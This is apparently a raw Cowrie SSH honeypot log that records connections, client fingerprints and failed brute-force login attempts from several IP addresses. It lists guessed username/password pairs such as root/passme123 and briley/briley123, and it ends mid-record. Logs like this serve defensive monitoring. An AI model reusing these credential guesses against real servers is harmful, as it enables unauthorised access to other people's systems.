{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:31:00.071430Z","src_ip":"159.203.92.129","session":"d90065f93683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adt","password":"123","message":"login attempt [adt/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:31:00.111059Z","src_ip":"159.203.92.129","session":"d90065f93683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:31:01.120537Z","src_ip":"159.203.92.129","session":"d90065f93683","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:31:20.031991Z","src_ip":"152.32.163.183","session":"bff028648803","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":55314,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6bd3256e3dc","protocol":"ssh","message":"New connection: 45.232.73.84:55314 (159.203.135.109:22) [session: c6bd3256e3dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:31:25.888484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:31:25.893649Z","src_ip":"45.232.73.84","session":"c6bd3256e3dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:31:26.014526Z","src_ip":"45.232.73.84","session":"c6bd3256e3dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"$RFVbgt56yhn","message":"login attempt [root/$RFVbgt56yhn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:31:26.509577Z","src_ip":"45.232.73.84","session":"c6bd3256e3dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:31:27.640571Z","src_ip":"45.232.73.84","session":"c6bd3256e3dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36538,"dst_ip":"159.203.135.109","dst_port":22,"session":"10a3cd75a383","protocol":"ssh","message":"New connection: 159.203.92.129:36538 (159.203.135.109:22) [session: 10a3cd75a383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:31:45.261477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:31:45.265690Z","src_ip":"159.203.92.129","session":"10a3cd75a383","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:31:45.269638Z","src_ip":"159.203.92.129","session":"10a3cd75a383","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adt","password":"123456","message":"login attempt [adt/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:31:45.284691Z","src_ip":"159.203.92.129","session":"10a3cd75a383","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:31:46.291370Z","src_ip":"159.203.92.129","session":"10a3cd75a383","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":37152,"dst_ip":"159.203.135.109","dst_port":22,"session":"8111da278d5f","protocol":"ssh","message":"New connection: 103.63.108.25:37152 (159.203.135.109:22) [session: 8111da278d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:31:59.708421Z"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:08.144781Z","src_ip":"103.63.108.25","session":"8111da278d5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":56926,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3e68571f341","protocol":"ssh","message":"New connection: 103.63.108.25:56926 (159.203.135.109:22) [session: d3e68571f341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:11.693927Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:11.798874Z","src_ip":"103.63.108.25","session":"d3e68571f341","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":44328,"dst_ip":"159.203.135.109","dst_port":22,"session":"955b9edbdbd9","protocol":"ssh","message":"New connection: 103.63.108.25:44328 (159.203.135.109:22) [session: 955b9edbdbd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:16.806354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.7.4","message":"Remote SSH version: SSH-2.0-libssh_0.7.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:16.820471Z","src_ip":"103.63.108.25","session":"955b9edbdbd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e37f354a101aff5871ba233aa82b84ec","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e37f354a101aff5871ba233aa82b84ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:18.008749Z","src_ip":"103.63.108.25","session":"955b9edbdbd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:20.536544Z","src_ip":"103.63.108.25","session":"955b9edbdbd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":17060,"dst_ip":"159.203.135.109","dst_port":22,"session":"dea5f3dbd155","protocol":"ssh","message":"New connection: 213.209.159.159:17060 (159.203.135.109:22) [session: dea5f3dbd155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:20.950569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:20.954976Z","src_ip":"213.209.159.159","session":"dea5f3dbd155","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:21.037610Z","src_ip":"213.209.159.159","session":"dea5f3dbd155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"briley","password":"briley","message":"login attempt [briley/briley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:21.441576Z","src_ip":"213.209.159.159","session":"dea5f3dbd155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"briley","password":"briley1","message":"login attempt [briley/briley1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:22.527042Z","src_ip":"213.209.159.159","session":"dea5f3dbd155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"briley","password":"briley123","message":"login attempt [briley/briley123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:23.612437Z","src_ip":"213.209.159.159","session":"dea5f3dbd155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"briley","password":"briley1234","message":"login attempt [briley/briley1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:24.695902Z","src_ip":"213.209.159.159","session":"dea5f3dbd155","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":42980,"dst_ip":"10.17.0.5","dst_port":22,"session":"9284bc2c9d12","protocol":"ssh","message":"New connection: 152.32.163.183:42980 (10.17.0.5:22) [session: 9284bc2c9d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:25.062614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:25.069528Z","src_ip":"152.32.163.183","session":"9284bc2c9d12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:25.333027Z","src_ip":"152.32.163.183","session":"9284bc2c9d12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"briley","password":"briley12345","message":"login attempt [briley/briley12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:25.780451Z","src_ip":"213.209.159.159","session":"dea5f3dbd155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle10g","password":"oracle10g","message":"login attempt [oracle10g/oracle10g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:26.422708Z","src_ip":"152.32.163.183","session":"9284bc2c9d12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:26.865006Z","src_ip":"213.209.159.159","session":"dea5f3dbd155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:27.689673Z","src_ip":"152.32.163.183","session":"9284bc2c9d12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":44080,"dst_ip":"159.203.135.109","dst_port":22,"session":"978809305583","protocol":"ssh","message":"New connection: 45.232.73.84:44080 (159.203.135.109:22) [session: 978809305583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:27.913469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:27.919766Z","src_ip":"45.232.73.84","session":"978809305583","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:28.048298Z","src_ip":"45.232.73.84","session":"978809305583","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passme123","message":"login attempt [root/passme123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:28.585628Z","src_ip":"45.232.73.84","session":"978809305583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:29.718122Z","src_ip":"45.232.73.84","session":"978809305583","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50010,"dst_ip":"159.203.135.109","dst_port":22,"session":"2edfcff614f3","protocol":"ssh","message":"New connection: 159.203.92.129:50010 (159.203.135.109:22) [session: 2edfcff614f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:30.954527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:32:30.962119Z","src_ip":"159.203.92.129","session":"2edfcff614f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 